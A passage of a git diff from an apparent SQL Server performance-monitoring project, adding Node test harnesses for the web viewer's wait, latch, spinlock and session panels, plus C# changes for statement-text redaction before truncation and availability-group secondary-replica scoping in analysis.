+    picker: await load("multi-picker.js"),
+  };
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const data = (b) => ({ status: 200, body: b });
+const tool = (url) => url.pathname.replace("/api/read/", "");
+const ago = (m) => new Date(Date.now() - m * 60000).toISOString().slice(0, 19);
+const LATCHES = ["LATCH_A", "LATCH_B", "LATCH_C", "LATCH_D", "LATCH_E", "LATCH_F", "LATCH_G"];
+const SPINS = ["SPIN_A", "SPIN_B", "SPIN_C"];
+const pts = (f) => [{ time: ago(10), ...f(1) }, { time: ago(5), ...f(2) }];
+let mode = "data";
+let missing = null;
+answer = (url) => {
+  const t = tool(url);
+  if (t === "get_latch_stats") return mode === "noOptions" ? data({ status: "empty", message: "No latch waits." }) : data({ latches: LATCHES.map((n) => ({ latch_class: n })) });
+  if (t === "get_spinlock_stats") return data({ spinlocks: SPINS.map((n) => ({ spinlock_name: n })) });
+  if (t !== "get_server_trend") return data({});
+  const metric = url.searchParams.get("metric");
+  const discontinuities = [{ at: ago(7), reason: "restart", detail: "uptime reset" }];
+  if (mode === "allMissing") return data({ status: "empty", message: "None of the named were recorded.", hints: { missing_names: (url.searchParams.get("names") || "").split(",").filter(Boolean) } });
+  if (mode === "empty") return data({ status: "empty", message: "No " + metric + " recorded in the last 24 hour(s)." });
+  if (metric === "session_stats") {
+    return data({ server: "SRV1", metric, trend: pts((k) => ({ total_sessions: 10 * k, running_sessions: k, sleeping_sessions: 5, background_sessions: 2, dormant_sessions: 1, idle_sessions_over_30min: 0, sessions_waiting_for_memory: 0, databases_with_connections: 3, top_application_name: "AppOne", top_application_connections: 4, top_host_name: "HostOne", top_host_connections: 6 })), aggregate_note: "Session note.", discontinuities });
+  }
+  const named = (url.searchParams.get("names") || "").split(",").filter(Boolean);
+  const present = named.filter((c) => c !== missing);
+  const key = metric === "latch" ? "latch_class" : "spinlock_name";
+  const field = metric === "latch" ? "wait_time_ms_per_second" : "collisions_per_second";
+  const body = { server: "SRV1", metric, series: present.map((c) => ({ [key]: c, trend: pts((k) => ({ [field]: 5 * k })) })), discontinuities };
+  if (missing && named.includes(missing)) body.missing_names = [missing];
+  return data(body);
+};
+
+const all = (node, pred, found = []) => {
+  if (!node || typeof node !== "object") return found;
+  if (pred(node)) found.push(node);
+  (node.children || []).forEach((c) => all(c, pred, found));
+  return found;
+};
+const settle = async () => { for (let i = 0; i < 100; i++) await new Promise((r) => setTimeout(r, 0)); };
+const ctx = { hours: 24, label: "last 24 hours", signal: new AbortController().signal };
+const kinds = {
+  latch: (s) => modules.tabs.namedTrendPanel(s || "SRV1", ctx, "latch"),
+  spinlock: (s) => modules.tabs.namedTrendPanel(s || "SRV1", ctx, "spinlock"),
+  session: (s) => modules.tabs.sessionStatsTrendPanel(s || "SRV1", ctx),
+};
+async function build(kind, server) {
+  const root = new FakeNode("main");
+  modules.util.mount(root, kinds[kind](server));
+  await settle();
+  return root;
+}
+const boxes = (root) => all(root, (n) => n.tag === "input" && n.attrs.type === "checkbox");
+const checkedNames = (root) => boxes(root).filter((b) => b.checked).map((b) => b.attrs["aria-label"]);
+const toggle = async (box, on) => { box.checked = on; box.listeners.change.forEach((l) => l({})); await settle(); };
+const trendReads = () => fetches.filter((f) => f.includes("get_server_trend")).map((f) => Object.fromEntries(new URL(f, "http://x").searchParams));
+const lastChart = () => modules.charts.chartCalls[modules.charts.chartCalls.length - 1] || null;
+const chartInfo = () => {
+  const c = lastChart();
+  return c && { labels: c.spec.series.map((s) => s.label), points: c.spec.points.length, unit: c.spec.unit, id: c.id };
+};
+const texts = (root, cls) => all(root, (n) => String(n.className).includes(cls)).map((n) => n.textContent);
+
+const scenarios = {
+  latch: async () => {
+    const root = await build("latch");
+    return { reads: trendReads(), checked: checkedNames(root), listed: boxes(root).length, chart: chartInfo(), notices: texts(root, "notice") };
+  },
+  spinlock: async () => {
+    const root = await build("spinlock");
+    return { reads: trendReads(), checked: checkedNames(root), chart: chartInfo(), notices: texts(root, "notice") };
+  },
+  session: async () => {
+    const root = await build("session");
+    return { reads: trendReads(), chart: chartInfo(), notices: texts(root, "notice"), notes: texts(root, "mp-metric-note") };
+  },
+  survives: async () => {
+    const first = await build("latch");
+    await toggle(boxes(first).find((b) => b.attrs["aria-label"] === "LATCH_B"), false);
+    await toggle(boxes(first).find((b) => b.attrs["aria-label"] === "LATCH_G"), true);
+    const rebuilt = await build("latch");
+    const other = await build("latch", "SRV2");
+    const spin = await build("spinlock");
+    return { rebuilt: checkedNames(rebuilt), other: checkedNames(other), spin: checkedNames(spin), lastRead: trendReads()[trendReads().length - 3], chart: chartInfo() };
+  },
+  missing: async () => {
+    missing = "LATCH_C";
+    const root = await build("latch");
+    return { notices: texts(root, "notice"), chart: chartInfo() };
+  },
+  allMissing: async () => {
+    mode = "allMissing";
+    const root = await build("latch");
+    return { notices: texts(root, "notice"), empties: texts(root, "strip empty"), chart: chartInfo() };
+  },
+  emptyLatch: async () => {
+    mode = "empty";
+    const root = await build("latch");
+    return { chart: chartInfo(), empties: texts(root, "strip empty") };
+  },
+  emptySession: async () => {
+    mode = "empty";
+    const root = await build("session");
+    return { chart: chartInfo(), empties: texts(root, "strip empty") };
+  },
+  noOptions: async () => {
+    mode = "noOptions";
+    const root = await build("latch");
+    return { reads: trendReads(), empties: texts(root, "strip empty") };
+  },
+};
+
+const chosen = scenarios[scenario];
+if (!chosen) throw new Error("unknown scenario " + scenario);
+const result = await chosen();
+console.log(JSON.stringify({ ...result, rejections }));
diff --git a/Darling/Darling.Tests/web-waits-harness.mjs b/Darling/Darling.Tests/web-waits-harness.mjs
new file mode 100644
index 0000000000..a2193da876
--- /dev/null
+++ b/Darling/Darling.Tests/web-waits-harness.mjs
@@ -0,0 +1,422 @@
+/* Runs the web viewer's Wait Stats panel (waitsPanel in wwwroot/js/pages/server-tabs.js, with multi-picker.js, util.js,
+   panels.js and charts.js) against a scripted /api/read answer, clicks its multi-select picker the way a reader would,
+   and prints what the picker held, the reads it sent and the chart it drew, as one line of JSON.
+   WebWaitStatsMultiSelectBehaviourTests starts it as
+       node web-waits-harness.mjs <path to wwwroot/js> <scenario>
+   charts.js is the shipped renderer behind a wrapper that records each chart's spec, id and scope. `fetch` and the DOM
+   are stand-ins; everything else is the shipped code. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  focus() {
+    globalThis.document.activeElement = this;
+  }
+  setSelectionRange(start, end) {
+    this.selectionStart = start;
+    this.selectionEnd = end;
+  }
+  getBoundingClientRect() {
+    return { left: 0, top: 0, width: 1000, height: 320 };
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  activeElement: null,
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const fetches = [];
+let inFlight = 0;
+let maxInFlight = 0;
+let aborted = 0;
+let hold = null; /* when set, get_wait_trend reads wait for it (a promise) or for their signal's abort */
+let answer = () => ({ status: 200, body: {} });
+globalThis.fetch = async (url, init) => {
+  fetches.push(String(url));
+  if (hold && String(url).includes("get_wait_trend")) {
+    inFlight++;
+    maxInFlight = Math.max(maxInFlight, inFlight);
+    let live = true;
+    const done = () => { if (live) { live = false; inFlight--; } };
+    try {
+      await new Promise((resolve, reject) => {
+        const signal = init && init.signal;
+        const onAbort = () => {
+          aborted++;
+          done();
+          const e = new Error("aborted");
+          e.name = "AbortError";
+          reject(e);
+        };
+        if (signal && signal.aborted) return onAbort();
+        if (signal) signal.addEventListener("abort", onAbort);
+        hold.then(resolve);
+      });
+    } finally {
+      done();
+    }
+  }
+  const reply = answer(new URL(String(url), "http://viewer.test"));
+  const raw = reply.body === undefined ? "" : JSON.stringify(reply.body);
+  return { status: reply.status, ok: reply.status >= 200 && reply.status < 300, text: async () => raw };
+};
+
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "waits-multi-"));
+let modules;
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.copyFileSync(path.join(scratch, "charts.js"), path.join(scratch, "charts-real.js"));
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { zoomableLineChart as realZoomable } from "./charts-real.js";\n' +
+      'export * from "./charts-real.js";\n' +
+      "export const chartCalls = [];\n" +
+      "export function zoomableLineChart(spec, id, scope) {\n" +
+      "  chartCalls.push({ spec, id, scope });\n" +
+      "  return realZoomable(spec, id, scope);\n" +
+      "}\n"
+  );
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  modules = {
+    util: await load("util.js"),
+    tabs: await load(path.join("pages", "server-tabs.js")),
+    charts: await load("charts.js"),
+    picker: await load("multi-picker.js"),
+  };
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const data = (b) => ({ status: 200, body: b });
+const tool = (url) => url.pathname.replace("/api/read/", "");
+const ago = (m) => new Date(Date.now() - m * 60000).toISOString().slice(0, 19);
+
+const NAMES = ["CXPACKET", "PAGEIOLATCH_SH", "LCK_M_X", "WRITELOG", "ASYNC_NETWORK_IO", "SOS_SCHEDULER_YIELD", "THREADPOOL",
+  "W08", "W09", "W10", "W11", "W12", "W13", "W14"];
+const statsFor = (names) => data({ server: "SRV1", waits: names.map((n, i) => ({ wait_type: n, wait_time_ms: 1000 - i, signal_wait_time_ms: 1, waiting_tasks: 1 })) });
+const trendFor = (name) => data({
+  server: "SRV1", wait_type: name,
+  trend: [{ time: ago(10), wait_time_ms_per_second: 5, signal_wait_time_ms_per_second: 1 }, { time: ago(5), wait_time_ms_per_second: 7, signal_wait_time_ms_per_second: 2 }],
+  discontinuities: [],
+});
+let failing = new Set();
+let emptyTrends = false;
+let statNames = NAMES;
+answer = (url) => {
+  const t = tool(url);
+  if (t === "get_wait_stats") return statsFor(statNames);
+  if (t === "get_wait_trend") {
+    const w = url.searchParams.get("wait_type");
+    if (emptyTrends) return data({ status: "no_data", message: "No trend rows for " + w + "." });
+    return failing.has(w) ? { status: 500, body: { error: "boom" } } : trendFor(w);
+  }
+  return data({});
+};
+
+const all = (node, pred, found = []) => {
+  if (!node || typeof node !== "object") return found;
+  if (pred(node)) found.push(node);
+  (node.children || []).forEach((c) => all(c, pred, found));
+  return found;
+};
+const settle = async () => { for (let i = 0; i < 100; i++) await new Promise((r) => setTimeout(r, 0)); };
+const ctx = { hours: 24, label: "last 24 hours" };
+
+async function build(server) {
+  const root = new FakeNode("main");
+  modules.util.mount(root, modules.tabs.waitsPanel(server, ctx));
+  await settle();
+  return root;
+}
+const boxes = (root) => all(root, (n) => n.tag === "input" && n.attrs.type === "checkbox");
+const checkedNames = (root) => boxes(root).filter((b) => b.checked).map((b) => b.attrs["aria-label"]);
+const listed = (root) => boxes(root).map((b) => b.attrs["aria-label"]);
+const button = (root, text) => all(root, (n) => n.tag === "button" && n.textContent === text)[0];
+const click = async (node) => { node.listeners.click.forEach((l) => l({})); await settle(); };
+const toggle = async (box, on) => { box.checked = on; box.listeners.change.forEach((l) => l({})); await settle(); };
+const typeSearch = async (root, text) => {
+  const s = all(root, (n) => n.tag === "input" && n.attrs.type === "search")[0];
+  s.value = text;
+  s.listeners.input.forEach((l) => l({}));
+  await settle();
+};
+const trendReads = () => fetches.filter((f) => f.includes("get_wait_trend")).map((f) => new URL(f, "http://x").searchParams.get("wait_type"));
+const lastChart = () => modules.charts.chartCalls[modules.charts.chartCalls.length - 1] || null;
+const chartInfo = () => {
+  const c = lastChart();
+  return c && { labels: c.spec.series.map((s) => s.label), points: c.spec.points.length, id: c.id };
+};
+const notes = (root) => all(root, (n) => String(n.className).includes("notice")).map((n) => n.textContent);
+
+const scenarios = {
+  allEmpty: async () => {
+    emptyTrends = true;
+    const root = await build("SRV1");
+    return { chart: chartInfo(), errors: all(root, (n) => n.className === "strip error").map((n) => n.textContent), empties: all(root, (n) => n.className === "strip empty").map((n) => n.textContent) };
+  },
+  fastClicks: async () => {
+    const root = await build("SRV1");
+    await click(button(root, "Clear All"));
+    let release;
+    hold = new Promise((r) => (release = r));
+    fetches.length = 0;
+    maxInFlight = 0;
+    aborted = 0;
+    /* Select All, Top waits, Select All, Top waits without letting a read finish. */
+    for (const name of ["Select All", "Top waits", "Select All", "Top waits"]) {
+      button(root, name).listeners.click.forEach((l) => l({}));
+      await new Promise((r) => setTimeout(r, 0));
+    }
+    const stillInFlight = inFlight;
+    const sent = trendReads().length;
+    release();
+    await settle();
+    return { sent, maxInFlight, stillInFlight, aborted, chart: chartInfo() };
+  },
+  /* Clicks that change WHICH series are read (a different path each), so the superseded reads are aborted rather than
+     shared: "Top waits" sends the top series, "Clear All" supersedes every one of them (each is the only caller on its read, so
+     the fetch itself is cancelled), and two single checks send two reads of their own. */
+  changedParameter: async () => {
+    const root = await build("SRV1");
+    await click(button(root, "Clear All"));
+    let release;
+    hold = new Promise((r) => (release = r));
+    fetches.length = 0;
+    maxInFlight = 0;
+    aborted = 0;
+    for (const name of ["Top waits", "Clear All"]) {
+      button(root, name).listeners.click.forEach((l) => l({}));
+      await new Promise((r) => setTimeout(r, 0));
+    }
+    const abortedByClear = aborted;
+    const readsByClear = trendReads().length;
+    await toggle(boxes(root).find((b) => b.attrs["aria-label"] === "W11"), true);
+    await toggle(boxes(root).find((b) => b.attrs["aria-label"] === "W12"), true);
+    const stillInFlight = inFlight;
+    const sent = trendReads().length;
+    const total = aborted;
+    release();
+    await settle();
+    return { readsByClear, abortedByClear, sent, aborted: total, stillInFlight, maxInFlight, chart: chartInfo() };
+  },
+  /* One series checked, then unchecked: its read has no other caller, so the fetch itself is cancelled. */
+  soleWaiterUnchecks: async () => {
+    const root = await build("SRV1");
+    await click(button(root, "Clear All"));
+    let release;
+    hold = new Promise((r) => (release = r));
+    fetches.length = 0;
+    aborted = 0;
+    const box = () => boxes(root).find((b) => b.attrs["aria-label"] === "W11");
+    await toggle(box(), true);
+    const sentAfterCheck = trendReads().length;
+    const inFlightAfterCheck = inFlight;
+    await toggle(box(), false);
+    const out = { sentAfterCheck, inFlightAfterCheck, aborted, inFlightAfterUncheck: inFlight, sent: trendReads().length };
+    release();
+    await settle();
+    return out;
+  },
+  /* apiGetJoined itself: two callers share one fetch; the first to abort leaves it running, the sole caller left cancels
+     it, and a caller after that sends a fresh request. */
+  joinedAbort: async () => {
+    const path = "/api/read/get_wait_trend?server=SRV1&wait_type=W11";
+    let release;
+    hold = new Promise((r) => (release = r));
+    fetches.length = 0;
+    aborted = 0;
+    const a = new AbortController();
+    const b = new AbortController();
+    const first = modules.util.apiGetJoined(path, a.signal);
+    const second = modules.util.apiGetJoined(path, b.signal);
+    await settle();
+    const sentForTwo = fetches.length;
+    const inFlightForTwo = inFlight;
+    a.abort();
+    const firstResult = await first;
+    await settle();
+    const abortedAfterFirst = aborted;
+    const inFlightAfterFirst = inFlight;
+    b.abort();
+    const secondResult = await second;
+    await settle();
+    const abortedAfterSole = aborted;
+    const inFlightAfterSole = inFlight;
+    const later = modules.util.apiGetJoined(path);
+    await settle();
+    const sentAfterLater = fetches.length;
+    release();
+    const laterResult = await later;
+    return { sentForTwo, inFlightForTwo, firstKind: firstResult.kind, abortedAfterFirst, inFlightAfterFirst, secondKind: secondResult.kind, abortedAfterSole, inFlightAfterSole, sentAfterLater, laterKind: laterResult.kind };
+  },
+  focusKept: async () => {
+    const first = await build("SRV1");
+    const search = all(first, (n) => n.tag === "input" && n.attrs.type === "search")[0];
+    search.value = "WRI";
+    search.listeners.input.forEach((l) => l({}));
+    search.selectionStart = 1;
+    search.selectionEnd = 2;
+    search.focus();
+    const rebuilt = await build("SRV1");
+    const next = all(rebuilt, (n) => n.tag === "input" && n.attrs.type === "search")[0];
+    return { sameNode: next === search, focused: globalThis.document.activeElement === next, start: next.selectionStart, end: next.selectionEnd, value: next.value };
+  },
+  noFocusStolen: async () => {
+    const first = await build("SRV1");
+    globalThis.document.activeElement = null;
+    const rebuilt = await build("SRV1");
+    const next = all(rebuilt, (n) => n.tag === "input" && n.attrs.type === "search")[0];
+    return { focused: globalThis.document.activeElement === next };
+  },
+  capInDraw: async () => {
+    const root = await build("SRV1");
+    fetches.length = 0;
+    const slot = new FakeNode("div");
+    await modules.tabs.drawWaitTrends(slot, "SRV9", ctx, NAMES, "wait_time_ms_per_second");
+    return { reads: trendReads().length };
+  },
+  droppedOut: async () => {
+    const first = await build("SRV1");
+    await click(button(first, "Clear All"));
+    await toggle(boxes(first).find((b) => b.attrs["aria-label"] === "W13"), true);
+    statNames = NAMES.filter((n) => n !== "W13");
+    fetches.length = 0;
+    const rebuilt = await build("SRV1");
+    const out = { checked: checkedNames(rebuilt), listedLast: listed(rebuilt).slice(-1), reads: trendReads() };
+    statNames = NAMES;
+    const back = await build("SRV1");
+    return { ...out, checkedBack: checkedNames(back) };
+  },
+  defaults: async () => {
+    const root = await build("SRV1");
+    return { checked: checkedNames(root), reads: trendReads(), chart: chartInfo(), count: all(root, (n) => n.className === "mp-count")[0].textContent };
+  },
+  checkUncheck: async () => {
+    const root = await build("SRV1");
+    const before = checkedNames(root);
+    fetches.length = 0;
+    await toggle(boxes(root).find((b) => b.attrs["aria-label"] === "CXPACKET"), false);
+    const afterUncheck = checkedNames(root);
+    const readsAfterUncheck = trendReads();
+    fetches.length = 0;
+    await toggle(boxes(root).find((b) => b.attrs["aria-label"] === "W11"), true);
+    return { before, afterUncheck, readsAfterUncheck, afterCheck: checkedNames(root), readsAfterCheck: trendReads(), chart: chartInfo() };
+  },
+  search: async () => {
+    const root = await build("SRV1");
+    await typeSearch(root, "lck");
+    const found = listed(root);
+    await typeSearch(root, "zzz");
+    const none = listed(root);
+    const noneText = all(root, (n) => n.className === "mp-none").map((n) => n.textContent);
+    await typeSearch(root, "");
+    return { found, none, noneText, all: listed(root).length };
+  },
+  cap: async () => {
+    const root = await build("SRV1");
+    await click(button(root, "Clear All"));
+    const afterClear = checkedNames(root);
+    await click(button(root, "Select All"));
+    const disabled = boxes(root).filter((b) => b.disabled).length;
+    const hint = all(root, (n) => n.className === "mp-hint").map((n) => n.textContent);
+    const checked = checkedNames(root);
+    await click(button(root, "Clear All"));
+    const emptyChart = notes(root).length + all(root, (n) => n.className === "strip empty").length;
+    await click(button(root, "Top waits"));
+    return { afterClear, checked, disabled, hint, emptyChart, top: checkedNames(root), readsLast: trendReads().length };
+  },
+  survives: async () => {
+    const first = await build("SRV1");
+    await toggle(boxes(first).find((b) => b.attrs["aria-label"] === "LCK_M_X"), true);
+    await click(button(first, "Clear All"));
+    await toggle(boxes(first).find((b) => b.attrs["aria-label"] === "WRITELOG"), true);
+    await typeSearch(first, "WRITE");
+    const sel = all(first, (n) => n.tag === "select")[0];
+    sel.value = "signal_wait_time_ms_per_second";
+    sel.listeners.change.forEach((l) => l({}));
+    await settle();
+    const rebuilt = await build("SRV1");
+    const search = all(rebuilt, (n) => n.tag === "input" && n.attrs.type === "search")[0].value;
+    const metric = all(rebuilt, (n) => n.tag === "select")[0].value;
+    const other = await build("SRV2");
+    return { rebuilt: checkedNames(rebuilt), search, metric, listedRebuilt: listed(rebuilt), other: checkedNames(other), otherMetric: all(other, (n) => n.tag === "select")[0].value };
+  },
+  oneFailed: async () => {
+    failing = new Set(["WRITELOG"]);
+    const root = await build("SRV1");
+    return { chart: chartInfo(), notes: notes(root), errors: all(root, (n) => n.className === "strip error").map((n) => n.textContent) };
+  },
+  allFailed: async () => {
+    failing = new Set(NAMES);
+    const root = await build("SRV1");
+    return { chart: chartInfo(), notes: notes(root), errors: all(root, (n) => n.className === "strip error").map((n) => n.textContent) };
+  },
+  zoom: async () => {
+    const root = await build("SRV1");
+    const c = lastChart();
+    const stamps = c.spec.points.map((p) => p.time).sort();
+    const from = Date.parse(stamps[stamps.length - 1] + "Z") - 1000;
+    const z = modules.charts.applyChartZoom(c.spec, { from, to: from + 2000 });
+    return { id: c.id, series: c.spec.series.length, total: c.spec.points.length, zoomed: z.zoomed, zoomedPoints: z.spec.points.length, wrapped: all(root, (n) => n.className === "zoomable-chart").length };
+  },
+};
+
+const chosen = scenarios[scenario];
+if (!chosen) throw new Error("unknown scenario " + scenario);
+const result = await chosen();
+console.log(JSON.stringify({ ...result, rejections }));
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/AnalysisStatementText.cs b/Darling/PerformanceMonitor.Darling.Analysis/AnalysisStatementText.cs
new file mode 100644
index 0000000000..f5ad1e8188
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Analysis/AnalysisStatementText.cs
@@ -0,0 +1,44 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Analysis;
+
+/// <summary>
+/// #5320: statement text in an analysis answer is judged WHOLE, then cut. The readers used to cut it in SQL
+/// (<c>LEFT(query_text, 500)</c>) and judge only what was left, so a value that sat early in a batch with the
+/// text that names it past the cut (a URI's <c>user:secret@</c> trigger is its closing at-sign) read clean.
+/// A reader now returns the whole text and calls <see cref="Preview"/> on it.
+/// </summary>
+internal static class AnalysisStatementText
+{
+    /// <summary>
+    /// <paramref name="raw"/> judged by <see cref="SensitiveStatements.Text"/>, then cut to at most
+    /// <paramref name="maxCodePoints"/> characters. PostgreSQL's <c>LEFT(text, n)</c> counts code points, so the
+    /// cut does too, and a kept statement reads exactly as the SQL cut left it. A statement the filter names is its
+    /// placeholder, so no cut text can hold half of one. Null stays null.
+    /// </summary>
+    public static string? Preview(string? raw, int maxCodePoints)
+    {
+        var judged = SensitiveStatements.Text(raw);
+        return judged == null ? null : CutCodePoints(judged, maxCodePoints);
+    }
+
+    /// <summary>The first <paramref name="maxCodePoints"/> code points of <paramref name="text"/>, never splitting a
+    /// surrogate pair.</summary>
+    internal static string CutCodePoints(string text, int maxCodePoints)
+    {
+        if (text.Length <= maxCodePoints) return text;
+        var i = 0;
+        for (var n = 0; n < maxCodePoints && i < text.Length; n++)
+            i += char.IsHighSurrogate(text[i]) && i + 1 < text.Length && char.IsLowSurrogate(text[i + 1]) ? 2 : 1;
+        return i >= text.Length ? text : text[..i];
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs b/Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs
index fd71a934e6..336678f13a 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs
@@ -221,6 +221,15 @@ internal sealed record AnalysisEngineSet(
     /// <summary>See <see cref="LastFactCount"/>: of those facts, how many scored above zero.</summary>
     public int? LastFactsScored { get; private set; }
 
+    /// <summary>
+    /// #5558: the one-sentence note naming how many databases the last pass left to the primary replica because this
+    /// node holds only a secondary copy of them in an availability group, or null when none were skipped (and when
+    /// the pass never reached the set). Carried out like <see cref="LastWindowCoverage"/>, because a short or empty
+    /// findings list cannot say it: without the note, "nothing found" reads as a clean bill of health for databases
+    /// the pass never looked at.
+    /// </summary>
+    public string? LastSecondaryReplicaNote { get; private set; }
+
     /// <summary>
     /// How the last pass ended EARLY, or null when it ran through (#2430). Set inside the pass's own
     /// catch, so <see cref="AnalysisAbandonKind.None"/> here means a genuine fault: the pass reached the
@@ -266,6 +275,26 @@ internal sealed record AnalysisEngineSet(
         }
     }
 
+    /// <summary>
+    /// #5558: the databases this node holds only as a secondary Availability Group copy, as of the pass's window end,
+    /// so the replicated facts skip them. Every context this service builds goes through here. Fails open: any unknown
+    /// returns an empty set.
+    /// </summary>
+    internal async Task<IReadOnlySet<string>> SecondaryScopeForAsync(int serverId, DateTime windowEndUtc, CancellationToken cancellationToken)
+    {
+        try
+        {
+            return await PgSecondaryReplicaScope.ReadAsync(_postgres, serverId, windowEndUtc, _logger, cancellationToken);
+        }
+        catch (Exception ex) when (AnalysisShutdown.IsExpectedAbandon(ex, cancellationToken))
+        {
+            /* This runs in the context initializer, ahead of the pass's own try. An abandoned budget must not escape the
+               wrapper from here: an empty set lets the pass reach its first checkpoint and take the normal abandon
+               path (and the read-only wrappers fail on their next store read, as #4203 requires). */
+            return PgSecondaryReplicaScope.NoneSkipped;
+        }
+    }
+
     /// <param name="postgres">The store, read as whatever role this data source connects as.</param>
     /// <param name="planFetcher">Optional; the SQL Server drill-down's cached-plan fetch.</param>
     /// <param name="logger">Optional.</param>
@@ -342,6 +371,7 @@ public async Task<List<AnalysisFinding>> AnalyzeAsync(
         {
             ServerId = serverId,
             SeparatelyMonitoredDatabases = await ScopeForAsync(serverId, cancellationToken),
+            SecondaryReplicaDatabases = await SecondaryScopeForAsync(serverId, timeRangeEnd, cancellationToken), /* #5558 */
             ServerName = serverName,
             TimeRangeStart = timeRangeStart,
             TimeRangeEnd = timeRangeEnd,
@@ -377,6 +407,7 @@ public async Task<List<AnalysisFinding>> AnalyzeAsync(AnalysisContext context)
         LastFactCount = null;
         LastFactsScored = null;
         EndedEarlyAs = null;
+        LastSecondaryReplicaNote = AgReplicaScope.SkippedNote(context.SecondaryReplicaDatabases); /* #5558 */
 
         try
         {
@@ -766,6 +797,7 @@ letting the halves drift. */
         {
             ServerId = serverId,
             SeparatelyMonitoredDatabases = await ScopeForAsync(serverId, cancellationToken),
+            SecondaryReplicaDatabases = await SecondaryScopeForAsync(serverId, timeRangeEnd, cancellationToken), /* #5558 */
             ServerName = serverName,
             TimeRangeStart = timeRangeStart,
             TimeRangeEnd = timeRangeEnd,
@@ -824,6 +856,8 @@ public async Task<List<Fact>> CollectConfigAuditFactsAsync(
         var context = new AnalysisContext
         {
             ServerId = serverId,
+            /* #5558: audit_config reads server settings only, all node-local, so nothing is skipped and no AG read is paid for. */
+            SecondaryReplicaDatabases = PgSecondaryReplicaScope.NoneSkipped,
             ServerName = serverName,
             TimeRangeStart = timeRangeEnd.AddHours(-1),
             TimeRangeEnd = timeRangeEnd,
@@ -876,8 +910,13 @@ context.CancellationToken is the caller's own token. */
     /// that fails must not cost the caller the comparison it was only meant to refine, so it degrades
     /// to an empty map and every key takes the absolute rule — the never-blind fallback the anomaly
     /// gate follows.</para>
+    ///
+    /// <para>#5558: the last two elements are the secondary-replica sets the two windows' contexts filtered with (null
+    /// when collection threw), each as of its own window end. <c>compare_analysis</c> builds its per-window
+    /// <c>secondary_replica_note</c> from them rather than reading the role a second time, so a note cannot name a skip
+    /// the facts did not make.</para>
     /// </summary>
-    public async Task<(List<Fact> BaselineFacts, List<Fact> ComparisonFacts, WindowCoverage? BaselineCoverage, WindowCoverage? ComparisonCoverage, IReadOnlyDictionary<string, BaselineBucket> Dispersion)> ComparePeriodsAsync(
+    public async Task<(List<Fact> BaselineFacts, List<Fact> ComparisonFacts, WindowCoverage? BaselineCoverage, WindowCoverage? ComparisonCoverage, IReadOnlyDictionary<string, BaselineBucket> Dispersion, IReadOnlySet<string>? BaselineSecondaries, IReadOnlySet<string>? ComparisonSecondaries)> ComparePeriodsAsync(
         int serverId, string serverName,
         DateTime baselineStart, DateTime baselineEnd,
         DateTime comparisonStart, DateTime comparisonEnd,
@@ -888,6 +927,8 @@ context.CancellationToken is the caller's own token. */
         {
             ServerId = serverId,
             SeparatelyMonitoredDatabases = separatelyMonitored,
+            /* #5558: per window, not shared: the windows can straddle a failover and each uses the role at its own end. */
+            SecondaryReplicaDatabases = await SecondaryScopeForAsync(serverId, baselineEnd, cancellationToken),
             ServerName = serverName,
             TimeRangeStart = baselineStart,
             TimeRangeEnd = baselineEnd,
@@ -898,6 +939,7 @@ context.CancellationToken is the caller's own token. */
         {
             ServerId = serverId,
             SeparatelyMonitoredDatabases = separatelyMonitored,
+            SecondaryReplicaDatabases = await SecondaryScopeForAsync(serverId, comparisonEnd, cancellationToken), /* #5558 */
             ServerName = serverName,
             TimeRangeStart = comparisonStart,
             TimeRangeEnd = comparisonEnd,
@@ -915,7 +957,8 @@ context.CancellationToken is the caller's own token. */
 
             var dispersion = await LookUpDispersionAsync(engine, serverId, serverName, baselineFacts, comparisonFacts, comparisonStart);
 
-            return (baselineFacts, comparisonFacts, baselineContext.Coverage, comparisonContext.Coverage, dispersion);
